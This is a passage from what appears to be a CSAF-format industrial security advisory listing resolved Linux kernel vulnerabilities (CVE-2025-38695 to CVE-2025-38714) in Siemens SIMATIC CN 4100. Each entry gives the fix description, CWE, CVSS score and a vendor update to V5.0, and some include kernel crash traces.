class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38695\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Check for hdwq null ptr when cleaning up lpfc_vport structure If a call to lpfc_sli4_read_rev() from lpfc_sli4_hba_setup() fails, the resultant cleanup routine lpfc_sli4_vport_delete_fcp_xri_aborted() may occur before sli4_hba.hdwqs are allocated. This may result in a null pointer dereference when attempting to take the abts_io_buf_list_lock for the first hardware queue. Fix by adding a null ptr check on phba->sli4_hba.hdwq and early return because this situation means there must have been an error during port initialization.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38696\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: MIPS: Don't crash in stack_top() for tasks without ABI or vDSO Not all tasks have an ABI associated or vDSO mapped, for example kthreads never do. If such a task ever ends up calling stack_top(), it will derefence the NULL ABI pointer and crash. This can for example happen when using kunit: mips_stack_top+0x28/0xc0 arch_pick_mmap_layout+0x190/0x220 kunit_vm_mmap_init+0xf8/0x138 __kunit_add_resource+0x40/0xa8 kunit_vm_mmap+0x88/0xd8 usercopy_test_init+0xb8/0x240 kunit_try_run_case+0x5c/0x1a8 kunit_generic_run_threadfn_adapter+0x28/0x50 kthread+0x118/0x240 ret_from_kernel_thread+0x14/0x1c Only dereference the ABI point if it is set. The GIC page is also included as it is specific to the vDSO. Also move the randomization adjustment into the same conditional.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38697\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: upper bound check of tree index in dbAllocAG When computing the tree index in dbAllocAG, we never check if we are out of bounds realative to the size of the stree. This could happen in a scenario where the filesystem metadata are corrupted.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38698\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: Regular file corruption check The reproducer builds a corrupted file on disk with a negative i_size value. Add a check when opening this file to avoid subsequent operation failures.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38699\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: bfa: Double-free fix When the bfad_im_probe() function fails during initialization, the memory pointed to by bfad->im is freed without setting bfad->im to NULL. Subsequently, during driver uninstallation, when the state machine enters the bfad_sm_stopping state and calls the bfad_im_probe_undo() function, it attempts to free the memory pointed to by bfad->im again, thereby triggering a double-free vulnerability. Set bfad->im to NULL if probing fails.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-415 Double Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.4\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38700\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: libiscsi: Initialize iscsi_conn->dd_data only if memory is allocated In case of an ib_fast_reg_mr allocation failure during iSER setup, the machine hits a panic because iscsi_conn->dd_data is initialized unconditionally, even when no memory is allocated (dd_size == 0). This leads invalid pointer dereference during connection teardown. Fix by setting iscsi_conn->dd_data only if memory is actually allocated. Panic trace: ------------ iser: iser_create_fastreg_desc: Failed to allocate ib_fast_reg_mr err=-12 iser: iser_alloc_rx_descriptors: failed allocating rx descriptors / data buffers BUG: unable to handle page fault for address: fffffffffffffff8 RIP: 0010:swake_up_locked.part.5+0xa/0x40 Call Trace: complete+0x31/0x40 iscsi_iser_conn_stop+0x88/0xb0 [ib_iser] iscsi_stop_conn+0x66/0xc0 [scsi_transport_iscsi] iscsi_if_stop_conn+0x14a/0x150 [scsi_transport_iscsi] iscsi_if_rx+0x1135/0x1834 [scsi_transport_iscsi] ? netlink_lookup+0x12f/0x1b0 ? netlink_deliver_tap+0x2c/0x200 netlink_unicast+0x1ab/0x280 netlink_sendmsg+0x257/0x4f0 ? _copy_from_user+0x29/0x60 sock_sendmsg+0x5f/0x70\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38701\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ext4: do not BUG when INLINE_DATA_FL lacks system.data xattr A syzbot fuzzed image triggered a BUG_ON in ext4_update_inline_data() when an inode had the INLINE_DATA_FL flag set but was missing the system.data extended attribute. Since this can happen due to a maiciouly fuzzed file system, we shouldn't BUG, but rather, report it as a corrupted file system. Add similar replacements of BUG_ON with EXT4_ERROR_INODE() ii ext4_create_inline_data() and ext4_inline_data_truncate().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-617 Reachable Assertion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38702\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fbdev: fix potential buffer overflow in do_register_framebuffer() The current implementation may lead to buffer overflow when: 1. Unregistration creates NULL gaps in registered_fb[] 2. All array slots become occupied despite num_registered_fb < FB_MAX 3. The registration loop exceeds array bounds Add boundary check to prevent registered_fb[FB_MAX] access.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38706\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ASoC: core: Check for rtd == NULL in snd_soc_remove_pcm_runtime() snd_soc_remove_pcm_runtime() might be called with rtd == NULL which will leads to null pointer dereference. This was reproduced with topology loading and marking a link as ignore due to missing hardware component on the system. On module removal the soc_tplg_remove_link() would call snd_soc_remove_pcm_runtime() with rtd == NULL since the link was ignored, no runtime was created.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38707\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: Add sanity check for file name The length of the file name should be smaller than the directory entry size.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38708\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drbd: add missing kref_get in handle_write_conflicts With `two-primaries` enabled, DRBD tries to detect \"concurrent\" writes and handle write conflicts, so that even if you write to the same sector simultaneously on both nodes, they end up with the identical data once the writes are completed. In handling \"superseeded\" writes, we forgot a kref_get, resulting in a premature drbd_destroy_device and use after free, and further to kernel crashes with symptoms. Relevance: No one should use DRBD as a random data generator, and apparently all users of \"two-primaries\" handle concurrent writes correctly on layer up. That is cluster file systems use some distributed lock manager, and live migration in virtualization environments stops writes on one node before starting writes on the other node. Which means that other than for \"test cases\", this code path is never taken in real life. FYI, in DRBD 9, things are handled differently nowadays. We still detect \"write conflicts\", but no longer try to be smart about them. We decided to disconnect hard instead: upper layers must not submit concurrent writes. If they do, that's their fault.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38711\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb/server: avoid deadlock when linking with ReplaceIfExists If smb2_create_link() is called with ReplaceIfExists set and the name does exist then a deadlock will happen. ksmbd_vfs_kern_path_locked() will return with success and the parent directory will be locked. ksmbd_vfs_remove_file() will then remove the file. ksmbd_vfs_link() will then be called while the parent is still locked. It will try to lock the same parent and will deadlock. This patch moves the ksmbd_vfs_kern_path_unlock() call to *before* ksmbd_vfs_link() and then simplifies the code, removing the file_present flag variable.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38712\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: don't use BUG_ON() in hfsplus_create_attributes_file() When the volume header contains erroneous values that do not reflect the actual state of the filesystem, hfsplus_fill_super() assumes that the attributes file is not yet created, which later results in hitting BUG_ON() when hfsplus_create_attributes_file() is called. Replace this BUG_ON() with -EIO error with a message to suggest running fsck tool.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38713\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: fix slab-out-of-bounds read in hfsplus_uni2asc() The hfsplus_readdir() method is capable to crash by calling hfsplus_uni2asc(): [ 667.121659][ T9805] ================================================================== [ 667.122651][ T9805] BUG: KASAN: slab-out-of-bounds in hfsplus_uni2asc+0x902/0xa10 [ 667.123627][ T9805] Read of size 2 at addr ffff88802592f40c by task repro/9805 [ 667.124578][ T9805] [ 667.124876][ T9805] CPU: 3 UID: 0 PID: 9805 Comm: repro Not tainted 6.16.0-rc3 #1 PREEMPT(full) [ 667.124886][ T9805] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 667.124890][ T9805] Call Trace: [ 667.124893][ T9805] [ 667.124896][ T9805] dump_stack_lvl+0x10e/0x1f0 [ 667.124911][ T9805] print_report+0xd0/0x660 [ 667.124920][ T9805] ? __virt_addr_valid+0x81/0x610 [ 667.124928][ T9805] ? __phys_addr+0xe8/0x180 [ 667.124934][ T9805] ? hfsplus_uni2asc+0x902/0xa10 [ 667.124942][ T9805] kasan_report+0xc6/0x100 [ 667.124950][ T9805] ? hfsplus_uni2asc+0x902/0xa10 [ 667.124959][ T9805] hfsplus_uni2asc+0x902/0xa10 [ 667.124966][ T9805] ? hfsplus_bnode_read+0x14b/0x360 [ 667.124974][ T9805] hfsplus_readdir+0x845/0xfc0 [ 667.124984][ T9805] ? __pfx_hfsplus_readdir+0x10/0x10 [ 667.124994][ T9805] ? stack_trace_save+0x8e/0xc0 [ 667.125008][ T9805] ? iterate_dir+0x18b/0xb20 [ 667.125015][ T9805] ? trace_lock_acquire+0x85/0xd0 [ 667.125022][ T9805] ? lock_acquire+0x30/0x80 [ 667.125029][ T9805] ? iterate_dir+0x18b/0xb20 [ 667.125037][ T9805] ? down_read_killable+0x1ed/0x4c0 [ 667.125044][ T9805] ? putname+0x154/0x1a0 [ 667.125051][ T9805] ? __pfx_down_read_killable+0x10/0x10 [ 667.125058][ T9805] ? apparmor_file_permission+0x239/0x3e0 [ 667.125069][ T9805] iterate_dir+0x296/0xb20 [ 667.125076][ T9805] __x64_sys_getdents64+0x13c/0x2c0 [ 667.125084][ T9805] ? __pfx___x64_sys_getdents64+0x10/0x10 [ 667.125091][ T9805] ? __x64_sys_openat+0x141/0x200 [ 667.125126][ T9805] ? __pfx_filldir64+0x10/0x10 [ 667.125134][ T9805] ? do_user_addr_fault+0x7fe/0x12f0 [ 667.125143][ T9805] do_syscall_64+0xc9/0x480 [ 667.125151][ T9805] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 667.125158][ T9805] RIP: 0033:0x7fa8753b2fc9 [ 667.125164][ T9805] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 48 [ 667.125172][ T9805] RSP: 002b:00007ffe96f8e0f8 EFLAGS: 00000217 ORIG_RAX: 00000000000000d9 [ 667.125181][ T9805] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fa8753b2fc9 [ 667.125185][ T9805] RDX: 0000000000000400 RSI: 00002000000063c0 RDI: 0000000000000004 [ 667.125190][ T9805] RBP: 00007ffe96f8e110 R08: 00007ffe96f8e110 R09: 00007ffe96f8e110 [ 667.125195][ T9805] R10: 0000000000000000 R11: 0000000000000217 R12: 0000556b1e3b4260 [ 667.125199][ T9805] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 667.125207][ T9805] [ 667.125210][ T9805] [ 667.145632][ T9805] Allocated by task 9805: [ 667.145991][ T9805] kasan_save_stack+0x20/0x40 [ 667.146352][ T9805] kasan_save_track+0x14/0x30 [ 667.146717][ T9805] __kasan_kmalloc+0xaa/0xb0 [ 667.147065][ T9805] __kmalloc_noprof+0x205/0x550 [ 667.147448][ T9805] hfsplus_find_init+0x95/0x1f0 [ 667.147813][ T9805] hfsplus_readdir+0x220/0xfc0 [ 667.148174][ T9805] iterate_dir+0x296/0xb20 [ 667.148549][ T9805] __x64_sys_getdents64+0x13c/0x2c0 [ 667.148937][ T9805] do_syscall_64+0xc9/0x480 [ 667.149291][ T9805] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 667.149809][ T9805] [ 667.150030][ T9805] The buggy address belongs to the object at ffff88802592f000 [ 667.150030][ T9805] which belongs to the cache kmalloc-2k of size 2048 [ 667.151282][ T9805] The buggy address is located 0 bytes to the right of [ 667.151282][ T9805] allocated 1036-byte region [ffff88802592f000, ffff88802592f40c) [ 667.1 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38714\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: fix slab-out-of-bounds in hfsplus_bnode_read() The hfsplus_bnode_read() method can trigger the issue: [ 174.852007][ T9784] ================================================================== [ 174.852709][ T9784] BUG: KASAN: slab-out-of-bounds in hfsplus_bnode_read+0x2f4/0x360 [ 174.853412][ T9784] Read of size 8 at addr ffff88810b5fc6c0 by task repro/9784 [ 174.854059][ T9784] [ 174.854272][ T9784] CPU: 1 UID: 0 PID: 9784 Comm: repro Not tainted 6.16.0-rc3 #7 PREEMPT(full) [ 174.854281][ T9784] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 174.854286][ T9784] Call Trace: [ 174.854289][ T9784] [ 174.854292][ T9784] dump_stack_lvl+0x10e/0x1f0 [ 174.854305][ T9784] print_report+0xd0/0x660 [ 174.854315][ T9784] ? __virt_addr_valid+0x81/0x610 [ 174.854323][ T9784] ? __phys_addr+0xe8/0x180 [ 174.854330][ T9784] ? hfsplus_bnode_read+0x2f4/0x360 [ 174.854337][ T9784] kasan_report+0xc6/0x100 [ 174.854346][ T9784] ? hfsplus_bnode_read+0x2f4/0x360 [ 174.854354][ T9784] hfsplus_bnode_read+0x2f4/0x360 [ 174.854362][ T9784] hfsplus_bnode_dump+0x2ec/0x380 [ 174.854370][ T9784] ? __pfx_hfsplus_bnode_dump+0x10/0x10 [ 174.854377][ T9784] ? hfsplus_bnode_write_u16+0x83/0xb0 [ 174.854385][ T9784] ? srcu_gp_start+0xd0/0x310 [ 174.854393][ T9784] ? __mark_inode_dirty+0x29e/0xe40 [ 174.854402][ T9784] hfsplus_brec_remove+0x3d2/0x4e0 [ 174.854411][ T9784] __hfsplus_delete_attr+0x290/0x3a0 [ 174.854419][ T9784] ? __pfx_hfs_find_1st_rec_by_cnid+0x10/0x10 [ 174.854427][ T9784] ? __pfx___hfsplus_delete_attr+0x10/0x10 [ 174.854436][ T9784] ? __asan_memset+0x23/0x50 [ 174.854450][ T9784] hfsplus_delete_all_attrs+0x262/0x320 [ 174.854459][ T9784] ? __pfx_hfsplus_delete_all_attrs+0x10/0x10 [ 174.854469][ T9784] ? rcu_is_watching+0x12/0xc0 [ 174.854476][ T9784] ? __mark_inode_dirty+0x29e/0xe40 [ 174.854483][ T9784] hfsplus_delete_cat+0x845/0xde0 [ 174.854493][ T9784] ? __pfx_hfsplus_delete_cat+0x10/0x10 [ 174.854507][ T9784] hfsplus_unlink+0x1ca/0x7c0 [ 174.854516][ T9784] ? __pfx_hfsplus_unlink+0x10/0x10 [ 174.854525][ T9784] ? down_write+0x148/0x200 [ 174.854532][ T9784] ? __pfx_down_write+0x10/0x10 [ 174.854540][ T9784] vfs_unlink+0x2fe/0x9b0 [ 174.854549][ T9784] do_unlinkat+0x490/0x670 [ 174.854557][ T9784] ? __pfx_do_unlinkat+0x10/0x10 [ 174.854565][ T9784] ? __might_fault+0xbc/0x130 [ 174.854576][ T9784] ? getname_flags.part.0+0x1c5/0x550 [ 174.854584][ T9784] __x64_sys_unlink+0xc5/0x110 [ 174.854592][ T9784] do_syscall_64+0xc9/0x480 [ 174.854600][ T9784] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 174.854608][ T9784] RIP: 0033:0x7f6fdf4c3167 [ 174.854614][ T9784] Code: f0 ff ff 73 01 c3 48 8b 0d 26 0d 0e 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 08 [ 174.854622][ T9784] RSP: 002b:00007ffcb948bca8 EFLAGS: 00000206 ORIG_RAX: 0000000000000057 [ 174.854630][ T9784] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6fdf4c3167 [ 174.854636][ T9784] RDX: 00007ffcb948bcc0 RSI: 00007ffcb948bcc0 RDI: 00007ffcb948bd50 [ 174.854641][ T9784] RBP: 00007ffcb948cd90 R08: 0000000000000001 R09: 00007ffcb948bb40 [ 174.854645][ T9784] R10: 00007f6fdf564fc0 R11: 0000000000000206 R12: 0000561e1bc9c2d0 [ 174.854650][ T9784] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 174.854658][ T9784] [ 174.854661][ T9784] [ 174.879281][ T9784] Allocated by task 9784: [ 174.879664][ T9784] kasan_save_stack+0x20/0x40 [ 174.880082][ T9784] kasan_save_track+0x14/0x30 [ 174.880500][ T9784] __kasan_kmalloc+0xaa/0xb0 [ 174.880908][ T9784] __kmalloc_noprof+0x205/0x550 [ 174.881337][ T9784] __hfs_bnode_create+0x107/0x890 [ 174.881779][ T9784] hfsplus_bnode_find+0x2d0/0xd10 [ 174.882222][ T9784] hfsplus_brec_find+0x2b0/0x520 [ 174.882659][ T9784] hfsplus_delete_all_attrs+0x23b/0x3 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor 